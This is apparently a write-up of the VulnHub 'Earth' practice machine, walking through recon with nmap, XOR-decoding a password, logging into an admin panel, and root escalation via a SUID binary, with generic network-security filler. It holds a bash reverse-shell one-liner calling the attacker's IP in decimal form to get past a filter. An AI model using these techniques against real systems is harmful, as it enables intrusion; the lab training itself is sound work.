VulnHub offers offline virtual machines, allowing users to practice without competing with other learners. There’s no need to worry about consistent internet access, high pings, or latency. Users can set up their own private labs to practice and learn new skills.
Earth is an easy box though you will likely find it more challenging than “Mercury” in this series and on the harder side of easy, depending on your experience. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware.
Network security is not only concerned about the security of the computers at each end of the communication chain; however, it aims to ensure that the entire network is secure.
Network security entails protecting the usability, reliability, integrity, and safety of network and data. Effective network security defeats a variety of threats from entering or spreading on a network.
The primary goal of network security are Confidentiality, Integrity, and Availability. These three pillar of Network Security are often represented as CIA triangle.
There are two flags on the box: a user and root flag which include an md5 hash.
All information, techniques and tools described in this write-up are for educational purposes only. Use anything in this write-up at your own discretion, I cannot be held responsible for any damages caused to any systems or yourselves legally. Usage of all tools and techniques described in this write-up for attacking individuals or organizations without their prior consent is highly illegal. It is your responsibility to obey all applicable local, state and federal laws. I assume and accept no liability and will not be responsible for any misuse or damage caused by using information herein.
Let’s Get Started
sudo arp-scan –l : To find out THE PLANETS: EARTH IP Address
Arp-scan is a low-level network discovery tool used to associate physical (MAC) addresses to logical (IP) addresses. It’s used to identify network assets which may not normally be captured by network scanning devices.
nmap (“Network Mapper”) is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks, although it works fine to scan single hosts
So we used nmap –A –T4 192.168.0.107
- A = For aggressive scan , T4 = Fast Scan the speed of scan
After scan we get to know we have 3 open ports on target machine 22,80,443
In port 443 we had Alternative name earth.local & terratest.local
So I read my /etc/hosts file and didn’t find earth.local and other file so I manually added it by using nano command and its worked for me.
So I opened terratest.earth.local in browser and get this result
In this interface we have found these messages in encrypted format
Here I randomly used /robots.txt file. So I browsed in that particular path
https://terratest.earth.local/robots.txt and get this interface
Now lets visit to the testingnotes directory on browser
Checking each variation of /testingnotes.* eventually I find /testingnotes.txt
Here we have found some information
Terra username and testdata.txt file so I opened that file
With this information, I opened CyberChef and searched for XOR. I put the above text in the XOR key part of CyberChef with UTF-8 input and in input part I had given the last key The following message gave me this output.
Now we got the username and password
Username : terra
Password : earthclimatechangebad4humans
Gobuster is a tool used to brute-force URIs including directories and files as well as DNS subdomains.
In gobuster I had found /admin directory
Now lets login with the following credentials using /admin
Successfully Logged in
I tried to reverse shell but that’s not work so i changed my IP address into decimal and try this on CLI command and successfully get the reverse shell
bash –I >& /dev/tcp/3232235626/5678 0>&1
Now we’re going to go ahead and spawn a TTY shell using python
Now lets hunt for the root access
find / -perm -4000 2>/dev/null
The find command is used to search and locate the list of files and directories based on conditions you specify for files that match the arguments.
/usr/bin/reset_root looks interesting.
Lets check the file using strings
Linux strings command is used to return the string characters into files. It primarily focuses on determining the contents of and extracting text from the binary files (non-text file).
After this we tried to get the reset_root file in local machine
And give all the permission to that file
chmod 777 This command will give read, write and execute permission to the owner, group and public.
I tried to execute that file but its giving me this
And then run ltrace on it ltrace ./reset_root
ltrace is a diagnostic and debugging tool for the command line that can be used to display calls that are made to shared libraries. It uses the dynamic library hooking mechanism, which prevents it from tracing calls to statically linked libraries. ltrace also displays return values of the library calls.
From the output, we should make that three files on the shown locations should be present to run the trigger. Therefore, I created those files on the target.
Now let’s switch to root
Will change the directory to root and grab the root_flag.txt
Network security helps protect your workstations from harmful spyware. It also ensures that shared data is kept secure.
Network Security protects your network and data from breaches, intrusions and other threats. This is a vast and overarching term that describes hardware and software solutions as well as processes or rules and configurations relating to network use, accessibility, and overall threat protection.
This is the end. Thank you for reading this write-up.